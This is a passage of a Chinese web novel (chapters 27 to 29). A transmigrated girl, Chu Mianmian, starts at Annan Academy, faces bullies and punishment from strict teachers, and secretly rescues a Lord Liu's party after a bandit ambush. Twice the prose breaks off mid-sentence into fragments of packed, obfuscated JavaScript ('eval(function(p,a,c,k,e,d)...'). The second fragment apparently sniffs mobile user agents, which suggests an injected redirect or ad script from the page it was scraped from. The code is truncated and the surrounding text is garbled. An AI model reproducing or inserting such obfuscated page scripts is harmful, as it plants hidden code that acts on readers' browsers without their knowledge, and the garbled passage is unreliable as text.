知道,转过身后,这场短暂的美梦就真的该醒了。 ———— 安南书院虽说用了安南庄的名,但坐落的位置却在离安南庄几里开外的一座高山半腰上。 路程遥远,苟旦怕初暒累着,于是将挂在她身上所有的包袱都抢了过来,初暒笑了笑,说,“包袱重,我们两个一起分担,赶路才会省力一些,还是说,你觉得我娇生惯养,连背包袱这事都干不得?” 她今日穿得好看,一笑就更好看了,苟旦不知是因为太阳东升还是赶路太急,耳朵尖都热的红通通的,“哪能让姑娘家背这么重的东西。” “背点东西怎么了,这个姑娘家还经常翻别人家院墙呢。” 路过安南庄,苟旦又想起她带着自己和成非翻墙的时候了,他想了想,道,“你不是娇生惯养,翻别人家墙也是为了救咱们全村人,我听书院先生说,与人为友要同甘共苦,如今甘还没让你尝到,苦我就先替你扛扛吧。” 他的谬论让初暒失笑,“你这人……” 前面不远就是陈家,初暒问,“陈家宝也在安南读书?他家离书院这么近平日回家住么?” “是呀,咱们都是同窗。”苟旦向她解释,“安南书院为了清幽特意建在半山腰上,那高山小路交错复杂,树林与竹林密布,夜里出行十分不安全,陈富户既不舍自己的宝贝儿子跟同窗挤在书院院舍,又担心他上下学不安全,于是雇了人每日抬轿接送他呢。” 路过陈宅,初暒瞧见这院子的四周围墙加高了许多,围墙上还插了丛丛枯枝倒刺,苟旦也看见了,笑问,“那些该不会是为了防着我们吧。” 初暒想起那双细眯眯却仍然能让人从中看出狡黠的小眼睛,曾看着自己说,“那么你想从我这里得到什么?” 不占人便宜,但也不会让别人占了便宜的小胖子。 “防我们作甚,你我可都是老实人家的孩子。” 她说的理所当然,苟旦略一思忖也说,“嗯,你说的是。” 走过安南庄约摸一炷香后,他们两人才终于来到了书院山脚。 安南书院坐落的安南山连接着一条峰峦起伏的山脉,山脉各岭有的气势磅礴、高耸入云,如同巨大屏障,将山间与世俗泾渭分明的阻隔起来,有的却树林茂密、山雾弥漫好似仙境一般,让人心旷神怡。 初暒赞叹,“倒是个杀人越货、抛尸害命的好地方。” “什么?” 苟旦驮着重物低头赶路,没有听清,初暒又大声了一点,“我说这里远绝尘嚣、山林幽静,果真是个读书的好地方。” 她从苟旦肩上抢过一些包袱甩在自己肩膀,问,“还没到么?” 初暒动作敏捷,苟旦觉察身上的轻松了许多才知道发生了什么,“嗯快到了,你瞧前边那两棵桐树,桐树中间环抱着的就是书院正门。” 这两棵桐树长出了参天之势,初暒走进了才发现门前台阶上建有卷棚,台阶旁的高大桐树外分别是两株松树,台下还栽有许多松柏和苦槐。 初暒前世没有上过书院,此时看着眼前的一切都觉得新奇,她站在石阶下打量着门边匾联—— 上联曰:草堂栖在灵山谷; 下联对:勤读诗书向灯烛。 在心中默默赋出此诗后四句:男儿立志需稽古,莫厌灯前读书苦。自古公侯未遇时,萧条长闭山中户。① 初暒啧了一声感叹,也不知是哪位有志之士至今‘未遇时’,无奈在此处做了‘山中户’。 “眠眠,愣着做什么,快些进来呀。” 苟旦一手招呼着初暒跟上来,一手推开书院大门,门缝半掩,他略一用力便侧身跨了进去。 “哗!” 一盆冷水从门上倾袭而下,将苟旦浇了个透心凉,他张着嘴还没反应过来,身上的寒意却先他一步拍打着自己的身躯。 苟旦抖着身子打了个冷颤,躲在檐下偷看的一群人瞧见他这副狼狈样,既觉得好笑又得意眼前自己的杰作,不由大笑出声。 其中一人仗着周围人多,故意吊着嗓子,道,“呦这不是苟旦么,将你家夫人接回来了啊。” 27. 受罚 这书院瞧着不大,可里面人却不少,初暒阔步踏进正门,越过苟旦站在了他身前。 方才对他们阴阳怪气的男子不知混站在何处,她一一扫视过人群中的每一张脸,问,“这木盆瞧着像是书院专为夜宿在此处的学子准备的,不知我脚下这个所属哪位?” 没想到这丫头瞧着土里土气,说话还怪客气的,刚调侃过他们的男子侧身从人堆里走出来,昂首道,“我的,怎么了……嗷!” 他话没说完,胸腹就被忽然飞过来的木盆击正正击中,他手捂肚子、撅着屁股连连后退了几步,等喘过气来才开始痛的哎呦起来。 这一幕出乎所有人的预料,就连浑身湿透的苟旦也忘记擦拭从鬓边滑下来的水珠,只顾张着大嘴看向一脚将木盆踢过去的初暒。 木盆是用实木做的,结实得很,可此时也被又踢又摔的破成了几瓣,嚎叫声夹杂着破烂木板掉在地上的声音,众人终于回来神来去扶坐在地上大喊的男子。 “初眠眠,你今日第一天上学就闯了如此祸事,待会儿我们一定将此事报给吴所仕听,在他跟前挂上了号,你在安南书院是不会有好果子吃的!” 初暒还想问问吴所仕是谁,苟旦立即从她身后钻出来赔笑,道,“别别别,我们之间小打小闹的莫要惊动吴夫子了,我屋里有治跌打损伤的膏药,你们若不嫌弃我立即取了来给栗铜涂抹?” “我被她踢得都站不起身了,你竟说这是小打小闹!苟旦你不要欺人太甚!”又疼又丢人的栗铜,大吼,“你今日重伤了我,且等着吧,早晚让你吃不了兜着走!” 什么叫我不要欺人太甚? 苟旦揪了揪贴在自己身上的湿衣服有些无语。 初暒看着这个坐在地上中气十足叫骂的孩子,想笑,“我若想重伤你,你此刻哪还有嗓门在这里叫唤,下回要吓唬我,先掂量掂量自己的脑袋有没有这个木盆抗踹。” 说完,初暒平静地拾起苟旦被水淋时失手散落在地上的包袱,丝毫不在意围在一起看他们热闹的学生,她再起身时,余光瞥见人群后有位托着木鱼轻敲犍稚的老汉经过。 栗铜被她一提醒,这会才开始后怕,刚刚要是那木盆朝着自己脑袋飞来…… “早就告诉你们不要招惹她了。 一道熟悉的声音响起,初暒一偏头就瞧见一个身着银丝绣纹袍褂、腰佩碧玉环带、项上还挂着一个金项圈的小胖子在几个孩子的簇拥下走了过来,“就是不听,如今受伤了才高兴吧。” 栗铜:“家宝,我们就是和苟旦闹着玩的,苟旦都没有生气,谁知她气性那么大,我这肚子哎呦,现在还疼呢!” 陈家宝笑呵呵,“初眠眠和苟旦还有成非都是一个村的,你闹苟旦,她欺负你,你也不算冤。” 成非跟在他身后,“哎,你们说话就说话,别将我扯进去,我就是来看热闹的。” “你们前些时候不是挺要好的么……”陈家宝虽然有些疑惑,但还是说,“安南书院这么多人,可是没一个有意思的,你回来了就好,总算有人与我解闷了。” “还敢让我解闷?不怕我绑了你又或是给你下药。” 这确实是她干过的事,陈家宝干干笑了两声。 初暒没将他的客套放在心上,只回头问苟旦,“此处召集学生上课是否是以木鱼的敲击声为号?” 苟旦点头,“是啊。” 初暒:“陈家宝来时我曾隐约看见有位裹着头巾的老师傅轻敲木鱼路过此处,你是想先回校舍换身干净衣服还是……” “啊!当然是要先去上课了!” 初暒话音未落,原先还聚在此处嬉笑的众人立刻作鸟兽散,苟旦跟着人群拔腿就跑时还没忘记拽上她。 她不解,问,“急什么?” 苟旦哭丧着脸:“今日是吴夫子的课,我们急什么,你……马上就知晓了。” 饶是疾驰而来,仍有一部分人被堵在讲经堂门口。 初暒跑了两步,身上出了汗,正要抬手去擦,偏头竟瞧见有几人方才看热闹笑得正欢此时却吓得快要哭出来。 学生们都低着头,倒是给初暒眼前腾开了地方,于是她昂首大大方方的看向正背手站在讲经堂里脸色晦暗不明的夫子。 “‘衣贵洁,不贵华,步从容,立端正’①,你们倒好,一个个所见颟顸、百拙千丑。” 不愧是读书人,骂人都文绉绉的,初暒心中纳闷,只骂几句又不疼,何苦被吓成这样?这话她刚想完,又听那吴夫子,云,“‘子曰:其身正,不令而行;其身不正,虽令不从②。’尔等课前不恭敬在讲经堂里候着先生,反让老夫在此处苦等,是为身不正,且令不从,来人,抬过凳来。” 吴夫子语毕,立时就有门子抬了条凳进来,临走顺手还给他递过去一块毛竹大板。 这架势,饶是没挨过打的人也知道即将会发生什么。 站在门口的学生像是习惯了,一边自发列队站好,一边还没被打就开始哭戚戚的抹眼泪,初暒在队列里从头到尾看了一遍,这里面除了她还有一个女孩子。 现下虽说还在倒春寒,可有些孩子贪玩嫌穿得多笨重,早早就着了单衫,此刻毛竹大板打在身上,即如打光屁股一般。 老夫子年纪瞅着已过五旬,这打板子的手艺也像是经过了岁月的打磨,数十个孩子分别打过十个板子后,竟也脸不红心不跳的。 栗铜年岁与苟旦一般,生的却高大威武,他见排在前面的人挨完打捂着屁股一瘸一拐的进了讲经堂,本着‘富贵险中求’的心思,心一横委屈道,“吴夫子,学生才被那个新来的踢了一脚,现在胸口还疼呢,要是挨了这顿板子,恐这身子吃不消啊,要不先等学生养养,养好了再随您处置?” “你被人踹了,却不找先生们做主,想来你才是缺理的那位。”吴所仕微微仰身看向他后面那位浑身湿透的孩子,冷冷说,“趴下,受罚。” “是。” 委屈没有用,栗铜哭丧着脸趴下挨打,等起身后,黑着脸恶狠狠地剜了初暒一眼。 前面的人一个个走过,苟旦轻声叹了口气就要往条凳上趴时,忽听吴夫子问,“你昨日连夜下山,想接的人可有接来?” “接来了,也在等着受罚,她原先身子不好,若是可以,学生愿替她挨这数十板子。” “若是能替,不如你将她该学的学问学了,将她该享的福也享了?” 苟旦被堵得说不出话来,吴所仕嫌恶地对他摆了摆手,“快将你满身的水汽去了,在日头下蒸的老夫眼睛疼。” 这是要免了他的罚? 苟旦心中一喜可转脸看到身后的初暒,又是满眼担忧 初暒轻轻对他摇头,苟旦只好回,“学生多谢夫子。” 等他一步三回头的走了,初暒没有多言一句,兀自趴到条凳上等候,姿势熟练地让人心疼。 前世犟嘴不想读书时,母亲常用这法子对付她,挨打的多了,她也摸索出一套心法来,那便是吃苦的臀部不能太用力,越用力,就越疼,最好莫要把自己的臀部当成是自己的,任由它疼,等疼完了也就完了,如此坚强做派也每每能让打板子的人愧疚怀疑。 愧疚该不会是自己下手太狠,怀疑这孩子该不会被自己打傻。 初暒走完神,注意到周围的学生都在偷笑,就连吴夫子脸上都有点匪夷所思。 “你这女娃就是今日才入学的?” “回夫子,是的,学生初眠眠,年十五,柏桥村人士。” “就是你用脚踹了栗铜?” “是。” “那便罚你在讲经堂门口竖蜻蜓吧。” 啊? 什么竖蜻蜓? 在讲经堂内外的学生面面相觑之时,初暒起身行完学生之礼,将自己的裙摆撩起塞进腰带,她走到讲经堂墙边用双手撑地,双脚依次一跃翻在空中,脚掌虚搭在墙面后身子稳稳定住不动,众人这才知晓,这竖蜻蜓原来是这个意思。 她用脚踹人,这夫子却来罚她的手。 初暒抿抿嘴,竟开始测算自己这幅身子倒立大概能撑多久。 因为胖,所以没跑过同窗们的陈家宝,正站在队列最后看着初暒受罚,脸上全然舒展坦荡。 果不其然,惩治过方才闹事的几人,吴所仕将手中的大板甩开,走进讲堂坐在书案前,像是什么都没有发生过似的,沉声道,“‘老子云:圣人不积,既以为人己愈有,既以与 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“这世上假意关怀却冷眼旁观的好人多了,我宁愿做会花言巧语又行为粗鄙,但是能解决得了麻烦的烂人。”初暒瞥了一眼他,淡淡说,“不像你。” 她说完就兀自进了讲经堂,苟旦也跟着她进去,只剩下成非站在原地紧紧抿着唇。 “眠眠,你莫要生气也别怪他。”苟旦将初暒领到讲经堂后排一处空位,“成非他人不坏的,就只是刀子嘴。” “嗯,没生气,我从不与小孩子一般计较。” “噗……” 苟旦还当自己听错了,愣了一下才噗嗤笑出声,“你自己还不是个孩子。” 初暒挑了挑眉不置可否,伏着的案几似乎有些歪扭,她双手握着两边想要将其摆正,可手指刚触上桌沿底下就觉得有些不对劲。 苟旦察觉她挪动案几的动作顿了一下,刚问了一句“怎么了?”下一瞬就看到初暒手指上有通红一片。 “血!” 他大喊一声,初暒用指腹搓了搓,“不,是颜料。” 还有人想整蛊她? 初暒抬眼环视四周,瞧见以栗铜为首的几个学生偷看了自己一眼后纷纷心虚地转开了视线。 苟旦气急,想要同他们理论,初暒却观察到这案几边缘有胡乱擦拭过的痕迹,她扬了扬唇,安慰他,“在书院门口还是将他们唬住了,你瞧,这张案几擦的多干净。” “幸好我淋了那盆水。” 初暒摇摇头,“我才来书院,不被接纳实属正常,你只是被我连累,不过,即使没有那盆水,我也不会让自己、让你平白被人欺负了的。” 她好像确实同小时候不一样了,那个体弱多病的姑娘如今已经开始护着自己了,苟旦有些想笑但又有点不好意思,他正在扭捏时,外面又有敲击木鱼的声音。 “邱夫子到!” 又要上课了,苟旦回到自己的位置,初暒仰头去瞧站在前面的夫子,这夫子年岁不大,长得也眉清目秀,只是……她怎的觉得这人像是在哪里见过似的。 初暒还在回忆,那位邱夫子已然笑呵呵的开口询问,“我方才见吴先生脸色不好,诸位安否?” 这声音? 竟是他。 28. 书院 “哎呀,吴夫子对我们的脸色什么时候好过哇!邱夫子真是大惊小怪。” “不安!不安!我们的屁股快被打开花了!瞧我这会子坐都坐不下了。” 学生们七嘴八舌,有人还跪趴在案几,整个讲堂乱糟糟闹哄哄的,可站着的邱夫子仍是一脸笑意。 “吴夫子此时正在百果园翻地呢,你们声音可以再大一些,正好可以将他请回来一起聊几句。” 他的语气如春风拂过,可是大家都默契般在那风声里感觉到了寒意。 喜笑颜开的正襟危坐了,没有坐相的目不转睛了,初暒左右看看,暗道:原来这位才是真正的高手。 她的小动作全然入了这位眉清目秀夫子的眼,邱阳看向她,笑问,“你便是从柏桥村来的初眠眠吧。” 初暒起身行礼,“是的,邱夫子。” “莫要拘礼,快快请坐。”邱阳朝她摆摆手,“你父亲说想让你继续回书院读书时,我是很高兴的,因为很少有农户放着自家好好的人力不使,反让其出来读书,可见你们一家都是有远见的。” 苟旦听见这话与有荣焉,丝毫不晓得娘亲给自己寻得媳妇已经飞了。 邱阳:“书院有书院的规矩,但古今圣哲教育人的法则,在经典中都有记载,有志向的人,应当熟读精思、审问明辨,你们如果明白这是自然之理,便知晓为人学子不必等他人立下规矩,只需时时勉励约束自己,依博学、审问、慎思、明辨、笃行五教为学习之序;用学、问、思、辨四者探究道理,将言忠信、行笃敬、惩忿窒欲、迁善改过作为修身之道;以正其义不谋其利,明其道不计其功当做处事之本;把己所不欲、勿施于人、行有不得、反求诸己用作接物之理;只有严格要求自身,才会有所戒惧,才能悟得义理,以修其身。”① “我今之所讲,需得由诸位切身实践,方能真正有所体会。”邱阳看着仰头注视自己的孩子们,顿了片刻,问,“这些说词每每听在耳边,是否觉得乏味?” 陈家宝回,“是有些。” 栗铜答,“书院不就专教这些的么?” “那诸位认为,我之所言,是否有些道理?” “您学富五车、为人师长,说出的话自然有道理。” “是啊,您说的话若是没有道理,我们也不会被父母专程送来求学了。” 邱阳问,“据诸位平日所察,吴夫子授完学,多半会做什么呢?” 栗铜抢答,说,“捧着酒壶在连廊小憩,春夏秋冬日日如此!” 苟旦也道,“偶有缺席,那也只能是壶中的酒没了,翻山去买了。” “那为何我方才说‘吴夫子此时正在百果园翻地’却并无一人驳我?” 众人愣了一下才反应过来,自己竟被邱夫子诓骗了。 他们不语,邱阳笑了笑,再问,“现在诸位还觉得我之所言,就一定是对的么?” 陈家宝默了一会儿,问,“您是夫子,您说的话都不可信吗?” “齐桓公从鲍叔牙那里得知管仲,楚庄王从沈尹筮那里得知孙叔敖,审察他们,因此国家称霸于诸侯,吴王从太宰嚭那里听信了越王勾践的话,智伯从张武那里听信了赵襄子的事,没有经过审察便相信了,因此国家灭亡自己送了命,因而‘闻而审则为福矣,闻而不审,不若无闻矣’,听说一件事就要详察细究,这样才算得上是有福;如果听说了而不作详察细究,那还不如不去听,我希望诸位不论听到什么人说,说了什么,都莫要听之信之,而要有自己的判断。” 大家闻言,纷纷点头称是,邱阳微微颔首行礼,道,“那这篇《吕氏春秋·察传》,我便讲到此处。” 学生门低头翻看桌上的书本,终于恍然大悟,夫子已经在与他们的问答中将课给讲完了,初暒听到认真,此刻也才发觉,这位邱夫子讲学居然连书本都不曾携带。 该讲的讲完,邱阳正预备放学,像是忽然想到什么似的他转身又道,“我先前在晁都参加诗会时,曾看到因理念不合的两派学子在众目睽睽下大打出手,十分有失文人风范,你们年岁还小,下手也没有轻重,若是伤着谁了,我不好同你们父母亲交代,我月俸也不多,只能糊口,故恳请诸位有话好说,莫要动手,我实在不愿破财购置礼品去看望被打伤的那位。” 坐下案几前的学生有的嘿嘿笑出声,有的却回过头咒怨的看向初暒。 初暒则脸不红心不跳的看着这个在望江楼门口沮丧离开的大哥,她原以为只有一面之缘,没成想如今竟与他做了师生。 “啊还有,既然诸位又多了一位新同窗,那容我再多言说几句,咱们安南书院坐落在深山之中,外头的山林野兽之多、路径沟壑之杂自不必多说,前些日子我曾在城中听到消息称,虔来山匪贼近来有扩充掠夺属地之势,已有一些商户在虔来与安南山连接处遭难,为了大家的安危着想,散学时若无必要,还望诸位莫要私自出院玩耍,以免遭遇不测。” 邱阳还想说些什么,此时有位门子在门口附身道,“邱先生,书院外有位柳姓大人求见。” “请他在四教亭稍坐,我随后便到。” “是。” 邱夫子又向学生嘱咐了一些琐事才离去。 他走后,差不多已经到了该用午膳的时间,苟旦带初暒去了东厨用饭。 安南书院的伙食不说琳琅满目但是要比普通人家好上一些的,初暒问,“这里学费低廉,整座书院学生、夫子人数不少,每人每日三餐这样吃,书院能撑下去吗?” 苟旦:“我听闻安南书院原先只是一座小书庐,后有一位贵人见此处幽美静逸才将其建办成如今这样,那位贵人为使贫寒人家的读书人有书可读,这才定了这如此低廉的学费,有些囊中羞涩的书生因此广厦而欢颜,后来竟得以高中,入朝做了官,一些乡绅富户为膜拜瞻仰贵人纷纷捐缮出资,而那些高中的官员,也偶有回来用数倍之礼补交学费的,而且…你方才可听到邱夫子提及的百果园?” 初暒点头,“听到了。” “那里虽然叫百果园,但是里头种的全是庄稼,我们有时读完书、习完功课是需要去翻地浇水、除草施肥的,喏,这些饭菜大多都是夫子们带着学生自己种下并收获的,你原来在这里念书时,还抢了一块田,说是要想法子使一块田长出两块田的粮食呢,怎的如今都不记得了呢。” “我……”初暒胡扯,“我爹娘和兄长也疑惑为何我好些事儿都不记得了,想来可能是先前受伤所致吧,不过,慢慢想,都会记起来的。” “嗯,来日方长,咱们不着急。” “对了,我抢的那块地如今是什么光景,可否带我前去看看?” “当然可以。” 百果园是一片学田,占地大概十亩。 正值春三月,田亩间一片生机,各处都绿油油的,初暒抢占的那片亦如是。 “邱夫子说,寸土寸金,世间最可惜的除了挚爱无缘、苦读落榜,就是沃壤无粮了,因而每年最积极带着学生播种的就是他,诶?我记得你离家时也交代父母要找机会拓地种庄稼,眠眠你可真厉害,竟同夫子想到一处去了。” 初暒无奈笑了笑,哪是她厉害,被逼无奈罢了。 前世打仗有三无最要命,其中最要命的就属军中无粮。 没有粮食,必胜的仗胜不了,能活的人也活不了,赤霄军驻地附近也曾分配过军田,可上级为了私利,将军田低价贩卖,为筹集军粮她没法只得向战士、百姓募款再反过来租赁军田种粮食。 后来,她再见田地便如见亲生爹娘,只因有了田,才有粮,有了粮,她的兵征战沙场时才不会饿肚子,就算战死,也不至于做只千疮百孔的饿死鬼。 初暒望着眼前的田地,轻声说,“有忠诚之人曾为了一口吃的做了叛军投奔敌国,有冷血之人在饿死前将身上最后一块馒头塞给了啼哭的孩童,人没被饿过,所以不知它的珍贵,不知这些成日被人踏在脚底的土地既能生养粮食,也能哺育无数人的性命。” 苟旦没有 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“具体的我也不知,只是刚来书院的时候就听以前的师兄说,那里面有鬼,白日里有阴翳怪声,黑夜里有漂浮白火,我曾听闻有一个人因好奇夜闯了那片‘鬼方之地’,当天晚上就从里面传出了异物碰撞、血肉飞溅的声响,有胆大的白天翻墙去看,却只能在院中看到如同乱麻的枯木,等跳进院里才发现那群枯木像是成了精一样会来回飘动,走在里面的人就如同遇上鬼打墙一般,怎么也找不见出路,一直在天黑月亮升起能辨明方向后,方摸着院墙哭嚎着爬出来了,那异物碰撞的声音一连响了数月才止住,数月之后,有心细的师兄发现他们之中有一个人忽然不见了,像是人间蒸发了似的。” “一个校舍的人都不知道消失不见的人是谁吗?” “怪就怪在这里,一个活生生的人不见了,夫子们不闻不问,就连那人的父母长辈也没有人来寻过,就好像书院里从来没有这个人一样,后来大家都传那个消失的其实不是人,是鬼魂,他也不是消失,而是被那院子里那个更厉害的鬼给吃了。” 苟旦讲的真情实感,初暒却垂眸笑了,“这世上若是真的有鬼,就好了。” “眠眠,你不怕鬼吗?” “人身死则成鬼,怨鬼跟随厄运缠身,恶鬼显形复仇索命。”初暒转过身,“谁心中有愧,谁怕。” 她的眼神冰冷,似乎看着自己又好像看着的不是自己,苟旦在午后的日头下打了个寒颤,小声问,“眠眠,虽说现在光天白日,但这百果园只有咱们两个人,我这心里还是有点发憷,要不咱先回去,一会儿还有功课要做呢。” “好。” 他们并肩离开学田,刚出百果园的篱笆门,就有一道震天呼噜声平地炸响,这声音吓得苟旦捂着嘴差点蹦起来,他慌张地四处探寻时瞧见,水井阴影处有位包着头巾的老汉正抱着怀里的扫帚睡得正香。 “真真吓死我了,这于师傅哪儿打盹不好,偏挑这里。”苟旦回头看向田间叽喳群飞的麻雀和乱蹦的飞虫蚂蚱,道,“也不知咱们方才说话有没有吵到他。” 初暒不语,她打量着这个熟睡的老汉,问,“这师傅姓于,在安南书院身兼了数职?” “是啊,他每日会以木鱼为号提醒学生上课,有时也会在东厨打打下手,不过更多时候于师傅都是在书院做些洒扫活计的。” “这么大的书院,就他一人洒扫?” “嗯,他虽然有时看着疯癫,可做起事来勤快的很,讲经堂本来是学子们自己轮流打扫的,但有的家伙偷懒,常用点心蜜饯什么的诓骗于师傅帮忙,他也不嫌累,总是乐呵呵的干活,估摸齐师傅是忙累了,这才寻了这处僻静地方,咱们快走莫要打扰到他……” 初暒被苟旦拉走,身后有木棍磕到地上的声音,她边走边回过头去瞧,看到那位于师傅也不嫌脏,顺势枕在了扫帚捆扎至凸起的竹枝之上,继续呼呼大睡。 安南书院每日除了夫子授课,其余时间便都留给学生诵读、习字或是去百果园翻地,初暒趁着下午大家都有事要忙,自己沿着墙边将书院走了个遍,直到晚上才回到分给自己居住的校舍。 屋内的灯灭着,同寝的姑娘已经睡下,初暒放缓了步调,蹑手蹑脚的钻了进去。 白天她观察了一下,整座书院和自己年岁相仿却还在外读书的女子,只有一位,这人不爱说话,也不常走动,没想到休息的也这样早。 初暒换下衣裙,又从随身带来的包袱里取出明日要穿的衣裳,刚躺下,就听隔壁床铺有道轻细的声音说,“安南书院女弟子受罚,是不在臀上打板子的。” 29. 地图 “安南书院女弟子受罚,是不在臀上打板子的。” 初暒了然,“难怪我趴在条凳上时,大家都在偷笑,多谢你相告,我下次会注意。” “你还想有下次?”姑娘翻过身侧躺着看她,“不过,看你一点委屈也不受的模样,下次应该也不会等很久。” 人果真还是不可貌相的好,初暒微微勾了下嘴角。 “我叫赵芊芊,你呢?” “我姓初,初眠眠。” “还在用小字,你也没满十六吗?” “嗯,过了年刚十五岁。” “咱们一般大呢,白天邱夫子说,是你爹想让你来读书的,真羡慕……”赵芊芊自嘲道,“不似我,是被家里人厌弃,硬塞进这里的。” 初暒看向她问,“在这里,不好吗?” “我若还是孩童,女子能上学自然很好,可我已经快到出嫁的年龄,还待在这里,别人看向我的目光就不跟我孩童时一样了。” “嗯。” 赵芊芊问,“我倒了一通苦水,你为何都不劝说几句,只‘嗯’了一声?” 初暒:“旁人的劝说若是有用,你今日也不会与我倒这通苦水了,我今日累了一天,不想再多费口舌。” “你这人……”赵芊芊轻笑了一声,“难怪陈家宝说你有意思。” 初暒的铺位靠窗,借着月光,赵芊芊看到她已经阖住双目平躺着睡下了,“倒是个不认生的主。” 前世女扮男装和慕峰青做小兵那会儿,初暒就已经敢和众多从五湖四海来的男人们四仰八叉的挤大炕了,她如今能和一个白白净净的小姑娘合住在一室两铺的屋子里,已经算很好了。 安稳的睡了几个时辰,初暒缓缓睁开眼,起身穿好衣裳悄悄出了房门。 和苟旦从柏桥村徒步走到安南书院后,她就发觉自己的体力虽说比刚醒过来强了一些,可这么点力气要真遇到危险还是连跑都跑不了。 眼下天时地利,正是可以将该练的都练回来的时候。 昨日在书院里溜达时,初暒寻见了一处隐蔽围墙,从这里进来能掩人耳目,出去亦可直奔安南山的四面八方。 观天象,此时约摸刚至五更天,初暒稍稍活动筋骨而后轻巧地翻身下墙,因为还不熟悉这山间地形,她先围着安南书院跑了几圈才慢慢往山林深处摸去。 山路崎岖错杂,荆棘与草木丛生,若是只顾奔冲不留心四周环境地势,除了容易被摔伤划伤,还有可能迷失方向,要是不幸再遇上蛇虫猛兽,那便真是叫天,天不应,叫地,地不灵了。 因为艰难险阻俱多,所以深山老林是最能锻炼体能、观察力、与记忆力的地方。 跑了许久,天开始蒙蒙亮,山林间也已经有数条光柱零零散散的打下,初暒跑的小脸通红,身上的外衫也被汗水透湿,她低头用衣摆抹了一下额头脸颊,正预备原路返还时,忽然听见附近似乎响起了窸窸窣窣的声音。 莫非是运气好,真让她遇上了练手活物? 初暒立即屈膝附身降低自己的高度,在地上捡了一根粗壮树枝,蹑手蹑脚的往声音来源走去。 “嘶~嘶~” 一条身体呈灰褐色,背部有白色横纹的小家伙正在盘着身子绞杀猎物,初暒刚要感叹这小蛇胃口真是大,下一瞬却意识到,它想要勒死的似乎是一个人。 没有多想,初暒迅速上前两步使树枝粗头用力挥向白条锦蛇的脑袋,将其打懵后一手抓住蛇的七寸一手将它的身躯从躺在地上那人的脖颈处掰开,她已经用食指顶住蛇的腹面从吻端到□□之间的中点,触及一枚硬度似花生米的蛇胆时,想了想还是将手中这条小蛇甩掉,任它扭滑离开。 脚下这人还热着,刚被纠缠过的脖颈正在砰砰跳动,天光比刚刚更亮了一些,初暒这会儿才看到这里耷拉着一辆跑了马儿的车厢架子,架子周围竟还躺了一个男子。 他们俩身上的衣物都被人扯得七零八落,车厢内的物品也被甩的满地都是。 看这架势,应当是遇上了山匪。 初暒探了一下趴在车厢旁边那人的鼻息,暗自庆幸,只是昏了过去。 倒地男人们虽说都是百姓打扮,可是身上的衣物却不像百姓日常能够负担得起的,还有这个样式低调的车厢架子…… 初暒叉腰思索,觉得这一行人中应该还有一位不知所踪。 这么想着,她低头根据地上车辙、马蹄的印记走上了相反的方向,又大约走了数十米,在一处山坳前发现了一滩凌乱地足迹。 顺着足迹靠近山坳边沿,初暒果真在那底下瞧见了一个书生模样的年轻男子。 山坳处有一片竹林,因而不算陡峭,那书生身上没有血迹,目测也无外伤,就是那左胳膊肘以一种匪夷所思的角度折在后脑勺了。 这人的脸蛋虽说被泥土和石子碎屑贴满,可眉目与鼻梁间隐约能看出一些周正,初暒一时心软,跳下去将他脱了臼的左胳膊装上。 ‘嘎巴’一声刚落,这男子的哎呦声就紧接着响起。 见他快要清醒,初暒右手手掌一撑使了个巧劲儿整个身子一跃就翻上了山坳。 窝在山坳的男子迷迷糊糊地眯开双眼,隐约间只看见了一道灰色的身影。 “大人您在哪儿?” “柳大人!” “大人……” “这儿呢!” 柳思无爬起来靠在乱石边揉捏着左肩,大喊,“此处是一个山坳凹地,我就在凹地里!” 小厮闻声立刻喊来同伴搭手。 柳思无身上有点小伤,两人连抱带拉终于将他带了上来。 “大人,马匹和咱们几个身上的碎银子都让山匪掠去了,此处没有人烟,您身上还有伤,小的担忧他们去而复返,要不再回安南书院避避?” “是啊,到安南书院再差人报官,这样稳妥些。” 两个小厮一言一语,柳思无却不应声,脑海中只是不断回忆着那道灰色背影。 身量高挑敏捷、偏瘦,不像成年男子,浑身有热气,背部那片水印应当是汗迹,可是他身上并无一般男子常有的汗臭味。 深山老林,他为何在这个时辰出现在这里? 莫非也是…… 柳思无活动着已经不太疼痛的左肩,问,“你们俩方才可有看到什么人?” “您别吓我,这里哪有人。” “人倒没有瞧见,只是……”其中一个小厮摸摸自己的脖子说,“刚醒过来的时候,小的觉得有点喘不上气,脖颈处也有些扎疼,伸手一摸才在脖子褶里捏出一片蛇皮来,只是小的在周围四处看了一下,并没有看见哪里有蛇,不然烤一烤还能裹个腹啥的。” 小厮仰着脖子,柳思无确实看见他脖颈一圈翻着红印。 驱了蛇、又将自己脱臼的胳膊接好,倒是不像山匪同伙,那就奇了怪了。 “此处与虔来山相接,却仍是安南山的山头,那边的土匪已经沦落到在这儿打砸掠夺,想来虔来山内已经是各占为王了,眼下报官无济于事,去安南书院也只是徒增夫子与学生们的恐慌,我们需得尽快进都上报此事。”柳思无看向脖颈泛红的小厮,道,“你去安南书院替我向邱阳带个口信,告诉他近几日山中不太平,莫要带弟子出来采风游学。” “是。” 其中一人对他拱手后转身就跑,剩余一名小厮问,“大人,山匪见包就抢,您可有丢失什么贵重物件?” 柳思无不动声色的握住自己左手空荡荡的袖袋,转身轻声道,“没有。” 一主一仆渐行渐远,初暒终于在一处小土堆后探头出来。 柳大人? 她想起昨日下学时,门子说书院外有一位柳姓大人在等邱夫子。 原来就是他。 此时天光已然大亮,因是第一次出来,没有掌握好时间,初暒回到书院发现已经有不少学生握着书卷在廊下亭中大声诵读了,路过四角亭时,她看到吴所仕正背着手往讲经堂方向走去,便立刻抢在他头前跑到讲经堂门口附身蹬腿倒立等候着。 来这里上课的学生见她一早就开始受罚有的十分诧异、有的捂嘴调笑,也有的幸灾乐祸。 吴所仕离得老远就看到一堆人对着这个新来的女娃娃指指点点, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 